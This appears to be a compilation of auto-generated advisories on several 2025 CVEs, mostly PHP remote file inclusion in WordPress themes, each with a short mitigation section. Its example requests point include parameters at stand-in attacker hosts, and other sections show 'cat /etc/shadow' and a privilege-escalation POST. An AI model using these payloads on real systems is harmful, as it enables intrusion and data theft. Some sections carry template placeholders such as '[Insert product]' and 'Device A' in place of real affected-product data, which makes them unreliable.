Author: Ameeba

Overview

Today, we will dive into the detailed exploration of the cybersecurity vulnerability, CVE-2025-31633. This vulnerability is specific to PHP Remote File Inclusion in the gavias Kiamo – Responsive Business Service WordPress theme. The vulnerability affects WordPress websites using the Kiamo theme versions up to 1.3.3, and it poses a significant threat to the integrity and confidentiality of the systems involved. If exploited successfully, the vulnerability can potentially lead to system compromise or data leakage, making it a significant concern for businesses that rely on the security and integrity of their data.

Vulnerability Summary

CVE ID: CVE-2025-31633
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Gavias Kiamo – Responsive Business Service WordPress Theme | up to and including 1.3.3

How the Exploit Works

The vulnerability CVE-2025-31633 is an improper control of filename for Include/Require statement in PHP Program, commonly known as ‘PHP Remote File Inclusion’ vulnerability. This vulnerability allows an attacker to manipulate the PHP include or require statement and point to a remote file hosted on an attacker-controlled server. This file could contain arbitrary PHP code that, when included in the server-side code, will be executed with the same privileges as the rest of the application. The potential impact is severe, as this could lead to complete system compromise or data leakage.

Conceptual Example Code

An attacker might use an HTTP request such as the one below to exploit this vulnerability:

GET /index.php?page=http://attacker.com/malicious_file.txt HTTP/1.1
Host: vulnerable-website.com

In the above example, the attacker is manipulating the `page` parameter to point to a malicious file hosted on their server (`attacker.com`). When the server processes this request, it includes the contents of the `malicious_file.txt` in the response, thereby executing the attacker’s code.

Mitigation and Prevention

The best way to address this vulnerability is by applying the vendor patch. If a patch is not available or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can be configured to block or alert on attempts to exploit this vulnerability by looking for known malicious patterns in HTTP requests. Additionally, developers should ensure that they are following secure coding practices, such as validating and sanitizing input and avoiding the use of user input directly in include or require statements.

Overview

A potent cybersecurity threat has been unearthed, going by the ID CVE-2025-27700. This vulnerability provides an avenue for ill-intentioned hackers to bypass carrier restrictions, potentially leading to local escalation of privilege. The alarming part of this threat is that it does not require any additional execution privileges nor does it require any user interaction to be exploited. This vulnerability can affect any organization that relies on certain carrier restrictions to protect its systems. Its significance lies in its ability to compromise systems or lead to data leakage, posing a significant risk to the integrity and confidentiality of sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-27700
Severity: Critical (8.4/10)
Attack Vector: Local access
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]

How the Exploit Works

The exploit leverages an unusual root cause to bypass the carrier restrictions. Once the carrier protections are bypassed, the attacker can escalate their privileges locally. This could potentially lead to unauthorized access, system compromise, or data leakage. The exploit does not require any additional execution privileges, making it particularly stealthy and dangerous. Furthermore, the absence of user interaction makes it easier for the attacker to carry out the exploit without detection.

Conceptual Example Code

The following pseudocode illustrates how the vulnerability might be exploited:

# Gain local access to the system
$ ssh user@target.system.com
# Execute exploit code to bypass carrier restrictions
$ ./exploit_CVE-2025-27700
# Escalate privileges locally
$ sudo su -
# Access system resources or data
$ cat /etc/shadow

Note: This is a simplified representation of how the vulnerability might be exploited and does not represent any real-world exploit code.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and prevent suspicious activities, providing a layer of protection against the exploit. It’s also advisable to monitor system logs for unusual activities and enforce strong access control policies.

Overview

In the rapidly evolving world of cybersecurity, vulnerabilities come in many forms. One such flaw, recently identified and cataloged as CVE-2025-48383, involves Django-Select2 – an integration for Django. This vulnerability is particularly concerning as it has the potential to leak secret access tokens across requests, thereby opening up the possibility for unauthorized users to access restricted data and query sets. Due to its severity and the widespread use of Django-Select2, this vulnerability poses a serious risk to organizations that have not yet implemented the recommended patch.

Vulnerability Summary

CVE ID: CVE-2025-48383
Severity: High (CVSS score 8.2)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unauthorized access to restricted data and query sets, potential system compromise

Affected Products

Product | Affected Versions

Django-Select2 | Prior to 8.4.1

How the Exploit Works

The exploit takes advantage of a flaw in instances of HeavySelect2Mixin subclasses like the ModelSelect2MultipleWidget and ModelSelect2Widget in Django-Select2 prior to version 8.4.1. These instances can leak secret access tokens across requests, allowing malicious actors to gain unauthorized access to restricted data and query sets.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /restricted/data HTTP/1.1
Host: vulnerable-website.com
Authorization: Bearer leaked-access-token

In this example, a malicious actor uses a leaked access token to make a GET request to a restricted data endpoint.

Mitigation Guidance

To ensure the security of systems and data, it is strongly recommended that organizations using Django-Select2 immediately apply the vendor patch by updating to version 8.4.1 or later. If immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regular software updates and proactive cybersecurity measures are also recommended to prevent future vulnerabilities.

Overview

The cybersecurity world is grappling with the discovery of a new critical vulnerability, CVE-2025-31632, which is associated with SpyroPress La Boom. The issue arises due to an improper control of filename for Include/Require Statement in PHP Program, known as the ‘PHP Remote File Inclusion’ vulnerability. This vulnerability affects any system or website using La Boom versions up to 2.7 and could lead to a severe system compromise or data leakage. The severity of this issue is highlighted by the CVSS severity score of 8.1, indicating that it is a high-risk issue that requires immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-31632
Severity: Critical, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

SpyroPress La Boom | Up to 2.7

How the Exploit Works

The vulnerability exists due to an improper control of filename for include/require statement in the PHP program. This allows an attacker to include a file from a remote server that contains malicious PHP code, leading to remote file inclusion. Once this malicious file is included, it is executed on the server, potentially leading to unauthorized access or control over the system.

Conceptual Example Code

An attacker could exploit this issue with a HTTP request that includes the path to the malicious file on a remote server. For example:

GET /index.php?page=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.com

In this request, the ‘page’ parameter is manipulated to include a file from a remote server (`malicious.example.com`). This file (`malicious_file.php`) contains malicious code which, when executed, can compromise the system.

Mitigation

Users are strongly advised to update their SpyroPress La Boom to the latest version. If this is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential exploits. It is also recommended to disable allow_url_fopen and allow_url_include settings in PHP configuration, if not required for the application. These settings allow PHP’s file functions — such as include, require, or file_get_contents — to retrieve data from remote locations, and disabling them reduces the risk of a remote file inclusion attack.

Overview

The cybersecurity landscape is fraught with vulnerabilities that could potentially compromise critical systems and expose sensitive data. One such vulnerability, identified as CVE-2025-31064, presents a significant threat to users of gavias’ Vizeon – Business Consulting platform. This vulnerability arises due to an improper control of filename for the Include/Require statement in the platform’s PHP program. If exploited successfully, it could lead to a PHP Local File Inclusion, jeopardizing the security of the system and risking data leakages.
This vulnerability is of high significance considering its potential for system compromise, and its severity is reflected in its CVSS Severity Score of 8.1. Therefore, it’s crucial for users of the affected versions of Vizeon – Business Consulting platform to understand the extent of this vulnerability and take necessary steps for mitigation.

Vulnerability Summary

CVE ID: CVE-2025-31064
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Vizeon – Business Consulting | up to and including 1.1.7

How the Exploit Works

The vulnerability, CVE-2025-31064, stems from an improper control of filename for Include/Require statement in PHP program in the Vizeon – Business Consulting platform. This flaw allows an attacker to manipulate the filename that’s included or required by a PHP script. As a result, an attacker can force the platform to include a file from a remote server that contains malicious PHP code, leading to a PHP Remote File Inclusion (RFI). If successful, the attacker could execute arbitrary code on the affected system, compromising its integrity and confidentiality.

Conceptual Example Code

Here is a
conceptual
example of how this vulnerability might be exploited. This is a hypothetical HTTP request that an attacker might use:

GET /vizeon/include.php?file=http://attacker.com/malicious_code.php HTTP/1.1
Host: target.example.com

In this example, the attacker manipulates the ‘file’ parameter to include a PHP file from their server (‘attacker.com’) that contains malicious code. If the platform is vulnerable, it would execute the malicious PHP code, compromising the system.

Overview

The cybersecurity world is alerted to a significant vulnerability, CVE-2025-31060, that affects ApusTheme Capie, a popular PHP program. This vulnerability arises from an improper control of filename for include/require statement, commonly known as the ‘PHP Remote File Inclusion’. The affected versions range from the initial release to version 1.0.40. The potential consequences of this vulnerability, if exploited, could lead to a complete system compromise or even data leakage, posing a serious threat to the security of any system running the affected versions of the software.

Vulnerability Summary

CVE ID: CVE-2025-31060
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

ApusTheme Capie | All versions through 1.0.40

How the Exploit Works

The vulnerability stems from the PHP program’s improper control of filename for include/require statement, which leads to a ‘PHP Remote File Inclusion’ vulnerability. This allows an attacker to inject a file from a remote server, which is subsequently executed on the victim’s server. This can occur because the software does not properly sanitize user input, enabling an attacker to manipulate the filename parameter in the include/require statement.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example showcases a HTTP request where an attacker may insert a malicious payload.

GET /vulnerable_page.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: victim.example.com

In this scenario, the attacker attempts to get the vulnerable_page.php to include and execute the malicious_file.txt from the attacker’s server.

Mitigation

Affected users are strongly advised to apply the vendor patch once it’s available. As a temporary mitigation measure, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help to prevent exploitation of this vulnerability. These tools can be configured to detect and block attempts of remote file inclusion by filtering out suspicious patterns in the HTTP request.

Overview

The CVE-2025-5117 vulnerability exposes a fundamental flaw in the security mechanism of WordPress’s Property plugin. It specifically targets versions 1.0.5 to 1.0.6 of the plugin, enabling malicious actors with Author-level access to escalate their privileges to those of an administrator. This vulnerability has the potential to be exploited by attackers to gain unauthorized access to sensitive data or to compromise the system, making it a significant threat to the security of WordPress sites that use the vulnerable versions of the Property plugin.

Vulnerability Summary

CVE ID: CVE-2025-5117
Severity: High – 8.8 (CVSS Score)
Attack Vector: Network
Privileges Required: Low (Author-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WordPress Property Plugin | 1.0.5 to 1.0.6

How the Exploit Works

The vulnerability resides in the lack of a capability check on the use of the property_package_user_role metadata. This oversight allows authenticated attackers with Author-level access to elevate their privileges to that of an administrator by creating a package post and setting the property_package_user_role to administrator. After doing this, they simply have to submit the PayPal registration form to finalize the privilege escalation.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /wp-admin/post-new.php?post_type=property_package HTTP/1.1
Host: vulnerable-wp-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=[user_session_cookie]
post_title=MaliciousPackage&property_package_user_role=administrator&_wpnonce=[valid_wpnonce]

This HTTP request creates a new package post with the user role set to “administrator”. The attacker would then submit the PayPal registration form to escalate their privileges to an administrator level.

Mitigation Guidance

To mitigate the effects of this vulnerability, users are advised to apply the vendor patch for the WordPress Property plugin as soon as possible. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary protection against potential exploits.

Overview

A critical vulnerability, identified as CVE-2025-41652, has been discovered in numerous devices that could potentially lead to system compromise or data leakage. This vulnerability stems from an underlying flaw in the device’s authorization mechanism, which in turn allows an unauthenticated remote attacker to bypass the authentication.
This vulnerability is particularly significant due to its potential impact on multiple devices, which could range from personal computing devices to servers, IoT devices, and other networked systems. Given its severity and widespread potential for exploitation, it is crucial for system administrators, network managers, and individual users to understand the nature of CVE-2025-41652 and take appropriate steps to mitigate its impact.

Vulnerability Summary

CVE ID: CVE-2025-41652
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or potential data leakage

Affected Products

Product | Affected Versions

Product A | Version 1.x to 2.x
Product B | Version 3.x to 4.x

How the Exploit Works

An unauthenticated remote attacker can exploit this vulnerability by either performing a brute-force attack to guess valid credentials or by using MD5 collision techniques to forge authentication hashes. The attacker does not require any privileges and there is no need for user interaction.
In particular, the MD5 collision technique involves the attacker creating two different inputs that hash to the same MD5 hash, thus tricking the system into accepting a malicious input. On the other hand, a brute-force attack involves the attacker trying all possible combinations of passwords until they find the correct one.

Conceptual Example Code

Here’s a conceptual example of a brute-force attack, which could be part of an HTTP request to exploit the vulnerability:

POST /login HTTP/1.1
Host: vulnerable-device.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=guess1

In this example, the attacker attempts to log in with the username ‘admin’ and a guessed password ‘guess1’. The attacker would automate this process, changing the ‘password’ field with every request, until a valid credential pair is found.

Mitigation and Recommendations

To protect your system from this vulnerability, the first and most effective line of defense is to apply the vendor’s patch for the affected versions of the affected products. In case the patch is not immediately available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as a temporary mitigation strategy. These systems can help detect and block brute-force attacks or suspicious networking behavior that could be indicative of an attacker attempting to exploit this vulnerability.

Overview

CVE-2025-41651 is a severe vulnerability that has the potential to cause catastrophic damage to systems if left unaddressed. This vulnerability arises due to insufficient authentication measures on critical device functions, providing an open window through which an unauthenticated attacker can execute arbitrary commands. These commands could lead to unauthorized upload or download of configuration files, ultimately resulting in a full system compromise. Both private individuals and enterprises alike are at risk, and the magnitude of potential damage makes this vulnerability a significant concern for the cybersecurity industry.

Vulnerability Summary

CVE ID: CVE-2025-41651
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Full system compromise, potential data leakage

Affected Products

Product | Affected Versions

Device A | Version 1.0 – 2.1
Device B | Version 3.0 – 4.2

How the Exploit Works

The exploit hinges on the missing authentication of a critical function in the affected devices. An attacker can execute arbitrary commands remotely, without requiring any authentication, thus bypassing the device’s security controls. These commands may allow the attacker to upload or download configuration files, potentially leading to unauthorized control over the affected systems. The exploit’s severity stems from the lack of required user interaction or privileges, allowing even unskilled attackers to potentially compromise the system.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited. This is a hypothetical HTTP request that could be used to send a malicious payload to a vulnerable endpoint:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "execute: {cmd: 'download', target: 'config_file', destination: 'attacker_controlled_server'}" }

In this case, the attacker is instructing the system to execute a command that downloads the configuration file and sends it to an attacker-controlled server. This is just one example of the kinds of commands that an attacker could potentially execute.
In conclusion, CVE-2025-41651 is a critical vulnerability due to its potential for system compromise and data leakage. It is strongly recommended for users to apply the vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation strategies.

Overview

In the ever-evolving landscape of cybersecurity, vulnerabilities continue to emerge that leave systems and data at risk. As such is the case with the recently discovered vulnerability CVE-2025-39458. This critical flaw is present in the Mikado-Themes Foton, popular among web developers for creating visually appealing and functional websites.
This vulnerability, known as PHP Remote File Inclusion, allows an attacker to include a remote PHP file from a server of their choosing, thus exploiting the improper control of filename for include/require statement in PHP Program present in Mikado-Themes Foton. This can lead to potential system compromise or data leakage, thus making it a serious concern for developers and organizations using these themes.

Vulnerability Summary

CVE ID: CVE-2025-39458
Severity: Critical, CVSS Score: 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Mikado-Themes Foton | up to and including 2.5.2

How the Exploit Works

In PHP, the include() and require() statements are used to insert useful codes written in other files, in the flow of execution. This vulnerability exploits the improper control of filename for these statements, allowing an attacker to manipulate the input and include a remote PHP file from a server of their choosing. This could potentially allow an attacker to inject malicious code or scripts, leading to further exploits such as data leakage or total system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited using an HTTP request to a vulnerable endpoint:

GET /vulnerable_page.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In the above example, the attacker is requesting a page from the target’s website, but manipulating the ‘file‘ parameter to include a PHP file hosted on their own server. The malicious PHP file could contain code designed to compromise the system or exfiltrate sensitive data.

Recommendations

Users are strongly advised to update their Mikado-Themes Foton to the latest version to mitigate this vulnerability. In case a patch is not immediately available, or updating is not an option, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.
Remember, in the realm of cybersecurity, staying updated is not just about having the latest features, but also about ensuring the security of your systems and data.